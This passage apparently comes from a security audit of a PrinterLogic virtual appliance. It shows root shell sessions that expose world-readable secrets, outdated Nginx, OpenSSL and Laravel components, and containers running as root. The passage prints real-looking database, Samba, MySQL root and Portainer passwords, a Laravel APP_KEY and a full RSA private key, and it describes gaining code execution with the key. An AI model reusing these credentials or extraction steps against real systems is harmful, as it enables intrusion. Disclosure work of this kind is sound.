root@printerlogic:/var/www/efs_storage# ls -la /var/www/efs_storage/ total 92 drwxrwsr-x+ 18 www-data docker 4096 Jan 27 10:18 . drwxrwsr-x+ 6 ubuntu docker 4096 Dec 28 18:10 .. drwxrwsr-x+ 2 www-data docker 4096 Jan 27 09:37 certs drwxrwsr-x+ 7 ubuntu docker 4096 Jan 27 09:37 client drwxrwsr-x+ 2 www-data docker 4096 Jan 27 09:36 exodus drwxrwsr-x+ 6 root docker 4096 Jan 28 02:28 .hive drwxrwsr-x+ 4 ubuntu docker 4096 Jan 27 09:37 logs drwxrwsr-x+ 2 root docker 16384 Jan 27 09:34 lost+found drwxrwsr-x+ 18 999 docker 4096 Feb 2 03:37 mysql drwxrwsr-x+ 2 www-data docker 4096 Jan 27 09:36 null drwxrwsr-x+ 3 ubuntu docker 4096 Jan 27 09:36 ofn drwxr-sr-x+ 6 root root 4096 Jan 27 10:18 pc-sys drwxrwsr-x+ 4 ubuntu docker 4096 Jan 27 09:36 pi drwxrwsr-x+ 3 ubuntu docker 4096 Jan 27 09:36 pq drwxrwsr-x+ 3 ubuntu docker 4096 Jan 27 09:36 scd drwxrwsr-x+ 2 ubuntu docker 4096 Jan 27 09:36 .secrets -rwxrwsr-x+ 1 root docker 3519 Jan 27 09:36 secrets.env -rw-rw-r--+ 1 ubuntu docker 56 Jan 27 10:16 .update_history drwxrwsr-x+ 3 root docker 4096 Jan 27 10:18 .updates drwxrwsr-x+ 3 ubuntu docker 4096 Jan 27 09:36 users root@printerlogic:/var/www/efs_storage#
It is possible to extract passwords from these files from any user because the files are world-readable.
Content of /var/www/efs_storage/secrets.env
:
root@printerlogic:/var/www/efs_storage# cat secrets.env | tail -n 7 ########### VALUES DB_DATABASE="app_pi" DB_PASSWORD="BBlIL1X1ARvyrnA3FBpt" DB_PORT="3306" DB_USERNAME="admin" PRINTERCLOUD_DOMAIN="10.105.0.241" SAMBA_PASSWORD="4rd7AqdBvj7ZdGKrvQ9Z" root@printerlogic:/var/www/efs_storage#
It is also possible to decrypt the GPG-encrypted files stored in /var/www/efs_storage/.secrets/
using the private key that has been extracted before in GPG Private key stored in the solution. The files contain the mysql root password, the APP_KEY
value used for Laravel and the portainer password. Access to the APP_KEY
provides remote code execution on Laravel instances.
Decrypted files in /var/www/efs_storage/.secrets:
root@printerlogic:~# ls -la /var/www/efs_storage/.secrets/ total 16 drwxrwsr-x+ 2 ubuntu docker 4096 Feb 8 06:38 . drwxrwsr-x+ 19 www-data docker 4096 Feb 2 08:15 .. -rw-rw-r--+ 1 ubuntu docker 704 Jan 27 09:36 app-keys.gpg -rw-rw-r--+ 1 ubuntu docker 660 Feb 7 08:59 portainer-admin.gpg root@printerlogic:~# cd /var/www/efs_storage/.secrets root@printerlogic:/var/www/efs_storage/.secrets# gpg app-keys.gpg gpg: WARNING: no command supplied. Trying to guess what you mean ... gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23 "PrinterLogic Virtual Appliance Team" root@printerlogic:/var/www/efs_storage/.secrets# cat app-keys APP_KEY="1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M" MYSQL_ROOT_PASSWORD="0aa58a30-9f32-4731-a03c-3795fe49c0f3" root@printerlogic:/var/www/efs_storage/.secrets# gpg portainer-admin.gpg gpg: WARNING: no command supplied. Trying to guess what you mean ... gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23 "PrinterLogic Virtual Appliance Team " root@printerlogic:/var/www/efs_storage/.secrets# cat portainer-admin PORTAINER_PASSWORD="1bd01aeb-e29d-4de6-83ca-11e55858c6ae" root@printerlogic:/var/www/efs_storage/.secrets#
We can verify these passwords are correct using the root access on the solution. These decrypted passwords match the passwords defined in environment variables.
Extracting passwords from environment variables:
root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo $(docker ps | grep $i | awk '{ print $1'}); docker exec -it $i env;done|grep MYSQL_ROOT Error: No such container: CONTAINER MYSQL_ROOT_PASSWORD=0aa58a30-9f32-4731-a03c-3795fe49c0f3 root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo $(docker ps | grep $i | awk '{ print $1'}); docker exec -it $i env;done|grep APP_KEY Error: No such container: CONTAINER APP_KEY=1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M APP_KEY=1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M APP_KEY=1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M APP_KEY=1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M [...]
It is also possible to reach the portainer agent running in the portainer/agent
Docker instance on port 9001/tcp from any Docker instance. An attacker may use the PORTAINER_PASSWORD
value to control the portainer agent.
Using the mysql credentials, it is possible to compromise the application from any docker instance that has the /var/www/efs_storage
mounting point - there is no firewall between docker instances so all the docker instances have a full network access to the mysql server and they also have access to the mysql credentials from /var/www/efs_storage/secrets.env
and the Laravel application key, allowing Remote Code Execution against Docker instances that run Nginx with PHP.
Moreover, the session files are world-readable.
Extracting sessions from /var/www/efs_storage/pi/storage/framework/sessions
:
root@printerlogic:/var/www/efs_storage# ls -la ./pi/storage/framework/sessions/
total 12
drwxrwsr-x+ 2 www-data docker 4096 Feb 2 03:38 .
drwxrwsr-x+ 5 www-data www-data 4096 Jan 27 09:37 ..
-rw-rw-r--+ 1 www-data docker 118 Feb 2 03:38 jIHjRaArwpNVBdE9EokQeQoD0oYdaw4aq87oqAK0
root@printerlogic:/var/www/efs_storage# cat ./pi/storage/framework/sessions/jIHjRaArwpNVBdE9EokQeQoD0oYdaw4aq87oqAK0 ; echo
a:2:{s:6:"_token";s:40:"gGVo8IMaJbVz5ZXPY8ThCeFCLbE8wa09UvCdMXXV";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}}
root@printerlogic:/var/www/efs_storage#
From the Docker instances, as the applications run as root, there is a full access to any file in /var/www/efs_storage
, as shown below.
For example, the client-key.pem
file used in Mysql is owned by mysql and the permissions are 600
. There is a full Read/Write access from the Docker image printerlogic/va-api
.
Reading client-key.pem
as root from the Docker instance printerlogic/va-api
:
/var/www/efs_storage/mysql # ls -la
total 214684
[...]
-rw------- 1 999 ping 1680 Jan 27 09:36 client-key.pem
[...]
/var/www/efs_storage/mysql # cat client-key.pem
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAvC7hbdFLOPXiolgs+MM+jHAu1160g91yoLhbSZTUTUGNMM6+
t2btq5F4UtH1G6SUzuQs7d2BCrpyrTkB2idkiKlFVUPVVKEFOXwBsnMcotqfL/9N
dyEVwxa6Lp0hHRWaOPntTx56+nCl95Ab7CGMJp2i2Nr0qrhOjv+0idVeiTUGGpSp
cWQQilOwCgS/nDAuGBfmT9Mk2ARPDyV/lsJR4wEm1yAQWJ5cQrhhpriZRMFMwZUs
dg1BfcRfxtRpo8M097HjkERKsPjUHIxbxYWDvfN8PJFTgUChaZ3T5AuCsLYleirV
pNRxTj2UT9bjOfU4qWNc3crMgu017qqsZLqbZwIDAQABAoIBAATIpE5oXaMrDQHX
f/0q6XIkf+xVqf0YKgvP4/Iw6Fy2Z+JvvwVmhnAwGIDyeWqkemvv/Pxm/xrItpWU
t2lWSwX2V57dRJUMKtfVQS3KI1Y4fId50/xNSQJWl5ELyYW1wN/l6pRyT+oB5xYu
Aae1Cp0IsNUWa9XTLZwRAAPo+qg+N6ketWyzjW5Fw6KfLbksF/QV6eWJwBOCDbJo
gfXzXaSUhDXsEjVoCSa3HIvBmxrfzVx5R1Zr+r3tKAyhbnYYoH6RNOnSlp4TVpKD
UJ9PowDWpIL/eGH65iHfDwfOaEeck6Ty4ADYCtzygAfJTcW2HXywdOAPtRrqv1gD
HoLcX3ECgYEA4v4WKOIrGI20KADmRxeayPBViUqSYk49esgP9rKuXbd+W2GBvPpJ
APesO9CbBszIOe8/T2+Efg9MywevlJWydtTqnUtNlTIQPBynrUXGf+fIkkjhAF+T
5OMfPo/fvsfSJS86H2WBZqr2mmciSlXgMtQRnknKcla0X2MbDof73L0CgYEA1Dsr
cPoFUXHWP8FjQhFdmMIORlzk7fwUtD7BRYRL8vLwYzWm6R1zY3m4XLa+yMqA38N8
Tsfx/xEOevbZXs7loHMJHxTKYwf7PatllTPMLntBJBdXS9cbDE+bo/KHVZPwGd+a
0pBzWwEbzP7vXR1C7+PFrA8l+UUjSQ9U1mmrpPMCgYBcCodVwI+U/zCD4Al/3jRn
MfydFN3SesM3HBRNBhrp6VOVHi6LQDmF6OevwWB7G2I9C6PyQ9fHfdC3qsApUaHx
yVfwu+4Thx9KIJxlCBv7FTMhDegeTKMddnLe3VvucfvmFAZPYMtdpAkmhpdC6Rtl
wNP8CRPL1RiCbR81fzJDSQKBgQCaUDuR9fkP8xm5Wb/2NfI8ND104+6BLB1RwZ9+
EGe4yvQG7ufh8EwKNGLc5vNpw/RYvycPkUpgD+LbfcknqoBEXeBv/Qn7X75KZOmD
xxnbYjtHJsGOn2VHWkrstle43cxiw7crC2UU8oVoVKVuquwUySTdqlYOHTs+0Cr7
i/IGCQKBgQCCFghgRsQabDYo8ou7TPTQ4o+5bb0bnskps/Vrgpx11iom/9WNZGbP
VS63QifOzog+fP68Evw6uriy9Y+VUnLcRDIPfyXUncpClRKcAzh0YakBP6A3Lqnv
hZLW8dhZKQqyIMUtOra5tKMqstCLnNd0yaMALY1VgchJ93UGjMIKzg==
-----END RSA PRIVATE KEY-----
/var/www/efs_storage/mysql #
From the world-readable logs, it is also possible to extract valid passwords:
Extracting the mysql password from logs:
root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# ls -la total 940 drwxrwsr-x+ 2 root docker 4096 Feb 2 06:25 . drwxrwsr-x+ 4 ubuntu docker 4096 Jan 27 09:37 .. -rw-rw-r--+ 1 syslog syslog 2008 Feb 4 02:08 config.log -rw-r--r-- 1 syslog adm 2740 Jan 28 02:29 config.log-20220128.xz -rw-rw-r--+ 1 syslog syslog 332 Jan 31 05:24 config.log-20220131.xz -rw-rw-r--+ 1 syslog syslog 288 Feb 1 00:58 config.log-20220201.xz -rw-rw-r--+ 1 syslog syslog 502 Feb 2 03:37 config.log-20220202 -rw-rw-r--+ 1 syslog syslog 24153 Feb 4 05:17 cron.log -rw-r--r-- 1 syslog adm 848 Jan 28 06:25 cron.log-20220128.xz -rw-rw-r--+ 1 syslog syslog 236 Jan 31 06:25 cron.log-20220131.xz -rw-rw-r--+ 1 syslog syslog 1064 Feb 1 06:25 cron.log-20220201.xz -rw-rw-r--+ 1 syslog syslog 696 Feb 2 06:25 cron.log-20220202 -rw-rw-r--+ 1 syslog syslog 4396 Feb 4 02:08 init.log -rw-r--r-- 1 syslog adm 2748 Jan 28 02:29 init.log-20220128.xz -rw-rw-r--+ 1 syslog syslog 468 Jan 31 05:25 init.log-20220131.xz -rw-rw-r--+ 1 syslog syslog 532 Feb 1 04:14 init.log-20220201.xz -rw-rw-r--+ 1 syslog syslog 1558 Feb 2 03:39 init.log-20220202 -rw-rw-r--+ 1 syslog syslog 72050 Feb 4 05:37 pi.log -rw-r--r--+ 1 syslog adm 7600 Jan 28 02:29 pi.log-20220128.xz -rw-rw-r--+ 1 syslog syslog 3964 Jan 31 05:34 pi.log-20220131.xz [...] root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# xzgrep -i password *xz [...] services.log-20220131.xz:Jan 31 05:11:47 printerlogic va/printercloud_pq.1.oudnppibc8qwbym8z1wp91664[1547]: + timeout 180 bash -c until mysql -h mysql -u admin -P 3306 --password="BBlIL1X1ARvyrnA3FBpt" -e 'CREATE SCHEMA IF NOT EXISTS `app_pi`'; do sleep 5; done services.log-20220131.xz:Jan 31 05:11:51 printerlogic va/printercloud_scd.1.84yt6sjlse8b2wz163dd1o0du[1547]: + timeout 180 bash -c ' until mysql -h mysql -u admin -P 3306 --password="BBlIL1X1ARvyrnA3FBpt" -e '"'"'CREATE SCHEMA IF NOT EXISTS `app_scd`'"'"'; do sleep 5; done services.log-20220131.xz:Jan 31 05:12:03 printerlogic va/printercloud_idpi.1.z63z6m6udibpdq0mry74vv0xw[1547]: + timeout 180 bash -c ' until mysql -h mysql -u admin -P 3306 --password="BBlIL1X1ARvyrnA3FBpt" -e '"'"'CREATE SCHEMA IF NOT EXISTS `app_idpi`'"'"'; do sleep 5; done services.log-20220131.xz:Jan 31 05:25:12 printerlogic va/printercloud_scd.1.fp2n1q66h84za3kweq6m91k6s[1387]: + timeout 180 bash -c ' until mysql -h mysql -u admin -P 3306 --password="BBlIL1X1ARvyrnA3FBpt" -e '"'"'CREATE SCHEMA IF NOT EXISTS `app_scd`'"'"'; do sleep 5; done services.log-20220131.xz:Jan 31 05:25:13 printerlogic va/printercloud_pq.1.1xuk7airnt3u8tbpbkzed8pbh[1387]: + timeout 180 bash -c until mysql -h mysql -u admin -P 3306 --password="BBlIL1X1ARvyrnA3FBpt" -e 'CREATE SCHEMA IF NOT EXISTS `app_pi`'; do sleep 5; done
The files pi.log
and services.log
contain passwords in clear-text.
Because of the lack of defense in depth and the fact that passwords are written in clear-text in world-readable files, if any docker instance is compromised then the appliance is likely compromised.
While checking the 109 Nginx processes running in the appliance, it appears Nginx is running inside several different Docker instances and some versions are outdated and have CVEs.
Determining Nginx versions:
root@printerlogic:/dev/shm# ps -auxww | grep -i nginx | wc -l
109
root@printerlogic:/dev/shm# for i in $(docker ps | awk '{ print $1 }'); do (echo $(docker ps | grep $i);docker exec -it $i /usr/sbin/nginx -V;echo ) >/dev/shm/$i;done
root@printerlogic:/dev/shm# awk '/version/{ print $3 }' * | sort | uniq -c
2 nginx/1.17.2
13 nginx/1.17.5
1 nginx/1.20.0
2 nginx/1.21.4
1 nginx/1.21.5
In total, the Docker instances use 5 different versions of Nginx:
Nginx 1.17 branch is EOL and security fixes haven't been applied in the Nginx installations because some binaries haven't been updated since 2019.
Date of when the nginx binaries have been installed into Docker instances:
root@printerlogic:/dev/shm# for i in $(docker ps|awk '{ print $1 }'); do docker exec -it $i ls -la /usr/sbin/nginx;done -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1149824 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1322056 Jul 23 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1378488 Nov 2 15:01 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1374232 Apr 20 2021 /usr/sbin/nginx -rwxr-xr-x 1 root root 1378488 Nov 2 15:01 /usr/sbin/nginx -rwxr-xr-x 1 root root 1149824 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1198240 Dec 28 18:48 /usr/sbin/nginx -rwxr-xr-x 1 root root 1145728 Jul 23 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx
When analyzing these builts, some Nginx have been compiled by unsupported OS which is not clearly a good indicator regarding security.
Determining operating systems that were used when compiling the Nginx binaries:
root@printerlogic:/dev/shm# cat * | grep -i gcc | sort | uniq -c
2 built by gcc 10.2.1 20210110 (Debian 10.2.1-6)
1 built by gcc 10.3.1 20211027 (Alpine 10.3.1_git20211027)
1 built by gcc 6.3.0 20170516 (Debian 6.3.0-18+deb9u1)
3 built by gcc 8.3.0 (Alpine 8.3.0)
11 built by gcc 8.3.0 (Debian 8.3.0-6)
1 built by gcc 9.3.0 (Ubuntu 9.3.0-10ubuntu2)
A script is provided to check the version of the userland (operating systems
) used in Docker instances:
root@printerlogic:/dev/shm# cat check-docker-os.sh 1 #!/bin/sh 2 3 for i in $(docker ps | awk '{ print $1 }') 4 do 5 echo $(docker ps | grep $i) 6 docker exec -it $i sh -c 'if [ -f /usr/lib/os-release ]; then 7 cat /usr/lib/os-release 8 fi 9 if [ -f /etc/alpine-release ]; then 10 cat /etc/alpine-release 11 fi' 12 echo 13 done
Using this script, the underlying operating systems for each Docker instance were determined.
Unsupported systems are still in use even if libraries are outdated and security patches are not provided anymore:
Alpine 3.10.x and 3.11.x are EOL.
Alpine 3.12.x will be EOL in May 2022, Alpine 3.13 will be EOL in November 2022 and Debian 10 will be EOL in August 2022.
Furthermore, some Docker instances are using Debian 10 which will be EOL-ed in 6 months.
It is also possible to check the versions of OpenSSL libraries used by Nginx: OpenSSL 1.1.d is outdated and is affected by several CVEs. OpenSSL 1.1.1k is also outdated (but may contain back-port security patches):
root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do docker exec -it $i /usr/sbin/nginx -V;done | grep -i openssl Error: No such container: CONTAINER built with OpenSSL 1.1.0j 20 Nov 2018 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1k 25 Mar 2021 built with OpenSSL 1.1.1l 24 Aug 2021 built with OpenSSL 1.1.1k 25 Mar 2021 built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1k 25 Mar 2021) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1k 25 Mar 2021) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1k 25 Mar 2021) built with OpenSSL 1.1.1f 31 Mar 2020 built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) root@printerlogic:~#
When randomly choosing a Docker instance, we can confirm the openssl version is outdated. This version will still be used by the PHP code running on the Docker instance.
Determining the openssl versions in the printerlogic/pi:5.0.6539
Docker instance :
root@printerlogic:~# docker ps | grep 5f1ea5e4df83 5f1ea5e4df83 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 11 minutes ago Up 11 minutes 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-snmp.1.ov4ffd4qd6r734pcslu6r9kr6 root@printerlogic:~# docker exec -it 5f1ea5e4df83 /bin/sh # ps -a PID TTY TIME CMD 98 pts/0 00:00:00 ps # ps -auxww USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.1 0.6 392100 49132 ? Ssl 02:08 0:00 php artisan queue:work --queue=snmp-status --sleep=3 --tries=1 root 93 1.5 0.0 2392 764 pts/0 Ss 02:20 0:00 /bin/sh root 99 0.0 0.0 217556 3064 pts/0 R+ 02:20 0:00 ps -auxww # find /|grep libssl /usr/lib/x86_64-linux-gnu/libssl.so.1.1 /usr/lib/x86_64-linux-gnu/libssl.so /usr/lib/x86_64-linux-gnu/libssl.a [...] # strings /usr/lib/x86_64-linux-gnu/libssl.so | grep OpenSSL OpenSSL 1.1.1d 10 Sep 2019 #
When analyzing the Docker instances freely available at https://hub.docker.com/r/printerlogic/base-php-fpm-nginx, it was confirmed these instances are using outdated software. These instances are likely used as reference images to create new instances.
Determining software versions in the printerlogic/base-php-fpm-nginx:latest
reference image:
kali# docker pull printerlogic/base-php-fpm-nginx Using default tag: latest latest: Pulling from printerlogic/base-php-fpm-nginx 6ec7b7d162b2: Pull complete db606474d60c: Pull complete afb30f0cd8e0: Pull complete 3bb2e8051594: Pull complete 4d71313b39b0: Pull complete 381de550657f: Pull complete e671c4250cc8: Pull complete [...] kali# docker save printerlogic/base-php-fpm-nginx > /dev/shm/test.tar kali# pwd /dev/shm kali# mkdir output && cd output kali# tar xvf ../test.tar kali# for i in */; do cd $i && tar xvf *tar && cd /dev/shm/output;done kali# strings ./679eaa2d89e00f8903c220a8d880e07c4205ef789d665adff4b59e77fe1abb93/usr/lib/x86_64-linux-gnu/libssl.so.1.1|grep OpenSSL OpenSSL 1.1.1d 10 Sep 2019 kali# strings *//usr/sbin/nginx|grep 1.17 nginx version: nginx/1.17.5 configure arguments: --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules [...] -fdebug-prefix-map=/data/builder/debuild/nginx-1.17.5/debian/debuild-base/nginx-1.17.5=. -fstack-protector-strong -Wformat -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -fPIC' --with-ld-opt='-Wl,-z,relro -Wl,-z,now -Wl,--as-needed -pie' nginx/1.17.5
Futhermore, while auditing the PHP code, it appears the appliance is using a mix of different versions of Laravel in the Docker instances - all of these versions are EOL.
Determining the Laravel version in all Docker instances:
root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo $(docker ps | grep $i | awk '{ print $2'}); docker exec -it $i sh -c "if [ -f /var/www/vendor/laravel/framework/src/Illuminate/Foundation/Application.php ]; then grep -B 5 'VERSION =' /var/www/vendor/laravel/framework/src/Illuminate/Foundation/Application.php;fi";echo; done printerlogic/pi:5.0.6539 /** * The Laravel framework version. * * @var string */ const VERSION = '5.5.45'; <- EOL in 2020 printerlogic/pi:5.0.6539 const VERSION = '5.5.45'; <- EOL IN 2020 printerlogic/users:5.186.1 const VERSION = '5.8.38'; <- EOL IN 2019 printerlogic/pi:5.0.6539 const VERSION = '5.5.45'; <- EOL IN 2020 printerlogic/scd:1.0.70 const VERSION = '6.18.10'; <- EOL but security patches still provided printerlogic/scim:1.0.9 const VERSION = '5.8.38'; <- EOL IN 2019 printerlogic/gw:1.208.5 const VERSION = '5.7.26'; <- EOL IN 2019 printerlogic/users:5.186.1 const VERSION = '5.8.38'; <- EOL IN 2020 printerlogic/cpp-ui:1.80.5 const VERSION = '7.12.0'; <- will EOL in March 2022 printerlogic/idpi:1.0.6 const VERSION = '6.14.0'; <- EOL but security patches still provided printerlogic/authn:1.0.257 const VERSION = '5.8.38'; <- EOL IN 2019 printerlogic/pi:5.0.6539 const VERSION = '5.5.45'; <- EOL IN 2020 printerlogic/tree:1.0.57 const VERSION = '6.20.43'; <- EOL but security patches still provided printerlogic/pi:5.0.6539 const VERSION = '5.5.45'; <- EOL IN 2020 printerlogic/pq:5.0.124 const VERSION = '5.7.9'; <- EOL IN 2019 printerlogic/pi:5.0.6539 const VERSION = '5.5.45'; <- EOL IN 2020
Laravel versions are EOL in these 16 Docker instances.
Laravel support (image from Wikipedia, as of January 2022):
The code is also using outdated PHP libraries, containing public vulnerabilities:
Some of these libraries are outdated and are vulnerable to public vulnerabilities. It is recommended to review all the libraries in the different directories they are stored:
kali% less app/common/
d3.tip.js jquery-migrate-1.2.1.js ppp_only/ validation.class.php
google_authorization_email.txt jquery-ui-1.8.1.custom.min.js themes/ version_reader.php
jquery.dataTables.js login.class.php tooltips.js
jquery-fieldselection.js passwordrecovery.email.txt upload.class.php
kali% ls app/lib/common
admin.header.inc.php breadcrumbs.php current_selection.php header.inc.php logout.php php-imap TranslationsEmbedStaticTranslations.php
auto_open_tree_search.php browse_complete.php global.inc.php lightopenid oses.php phpmailer verify_company_login.php
aws browse.php global.php load-settings.php pChart tooltip.php
All the docker instances are using outdated libraries, without security patches.
The code relies heavily on Laravel / Illuminate and these libraries are outdated and contain security vulnerabilities.
When analyzing Docker instances, it was observed that some Docker instances are running processes (php, nodeJS, Rust binaries, Go binaries) as root. This list is not exhaustive.
Custom processes running as root inside Docker instances:
root@printerlogic:/dev/shm/a# for i in $(docker ps | awk '{ print $1 }'); do echo $(docker ps | grep $i); docker exec -it $i sh -c 'ps -a';done
16178d2bccb2 printerlogic/va-api:1.1.4 "/opt/entrypoint.sh " 3 hours ago Up 3 hours (healthy) 80/tcp printercloud-appliance_va-api.1.fwacyv7l7gqxqrtwox45kvp1i
PID USER TIME COMMAND
1 root 0:01 va-api
9f72609937de printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-seeder.1.tbniqiidu8vtqpjtxjwh8oxsm
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 392100 21920 ? Ssl 03:38 0:07 php artisan queue:work --queue=seeder --sleep=3 --tries=1
7d39399f459a printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-reports.1.es8sfg9p6zya8r8396izh5z1i
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 392100 22484 ? Ssl 03:38 0:07 php artisan queue:work --queue=scheduled-report --sleep=3 --tries=1
bb96b17d45b8 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-snmp.1.ttxndt3y7brnkw95vxluhht7l
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 392100 23808 ? Ssl 03:38 0:07 php artisan queue:work --queue=snmp-status --sleep=3 --tries=1
9ad5da8b9d25 printerlogic/sched:1.0.18 "/var/www/app/.dock" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000/tcp printercloud-appliance_worker-scheduler.1.sy93cqxhn8fjypvfg9eu78may
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 2392 976 ? Ss 03:37 0:00 sh -c while true; do php /var/www/app/artisan schedule:run; sleep 6
b3b7793a3e95 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-low.1.whls4vm5xshz3h44c462iwdc1
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.3 392100 28060 ? Ssl 03:38 0:07 php artisan queue:work --queue=laravel-schedule-low --sleep=3 -tri
ac69cca5df62 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-high.1.3cr0gdxirucwzdk2j5d0rbtja
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.3 398244 30584 ? Ssl 03:38 0:09 php artisan queue:work --queue=laravel-schedule-high --sleep=3 -tr
bf43c1f6503e printerlogic/users:5.186.1 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-users-queue.1.n3hbhjezaps6gwkw1nuqupdq4
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.1 0.2 389304 19952 ? Ssl 03:38 0:10 php artisan queue:work --queue=users --sleep=3 --tries=1
6b3781947b83 printerlogic/client:25.1.0.551 "/bin/sh -c 'supervi" 3 hours ago Up 3 hours printercloud-appliance_client.1.pnbxglabahqd9prozbvbs55sc
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 4636 464 ? Ss 03:38 0:00 /bin/sh -c supervisord -n -c /etc/supervisor/supervisord.conf
root 6 0.0 0.0 55460 3640 ? S 03:38 0:03 /usr/bin/python /usr/bin/supervisord -n -c /etc/supervisor/supervis
root 9 0.4 0.4 958256 40652 ? Sl 03:38 0:43 /opt/PrinterInstallerClient/service_interface/./PrinterInstallerCli
7a508d3d8623 printerlogic/oncp-hold:v1.0.31 "./cloud-print-job-h" 3 hours ago Up 3 hours (healthy) 80/tcp printercloud_oncp-hold.1.u3ac7ousxjn4ff5kkcvwgf9n4
PID USER TIME COMMAND
1 root 0:21 ./cloud-print-job-holder-app
7a508d3d8623 printerlogic/oncp-hold:v1.0.31 "./cloud-print-job-h" 3 hours ago Up 3 hours (healthy) 80/tcp printercloud_oncp-hold.1.u3ac7ousxjn4ff5kkcvwgf9n4
PID USER TIME COMMAND
1 root 0:21 ./cloud-print-job-holder-app
d4a0594b6121 printerlogic/ebc:1.0.34 "/var/www/app/.docke" 3 hours ago Up 3 hours (healthy) 80/tcp, 9229/tcp printercloud_ebc.1.1e4rjf6mzq9t53swqdgxgfnwu
PID USER TIME COMMAND
1 root 0:01 {node} npm run start
27 root 0:04 node ./src/server.js
ed12cf7e4428 printerlogic/oncp-reg:1.0.15 "/opt/entrypoint.sh " 3 hours ago Up 3 hours (healthy) printercloud_oncp-reg.1.y5dmk4y84g6rjyrt4t53syutz
PID USER TIME COMMAND
1 root 0:06 api
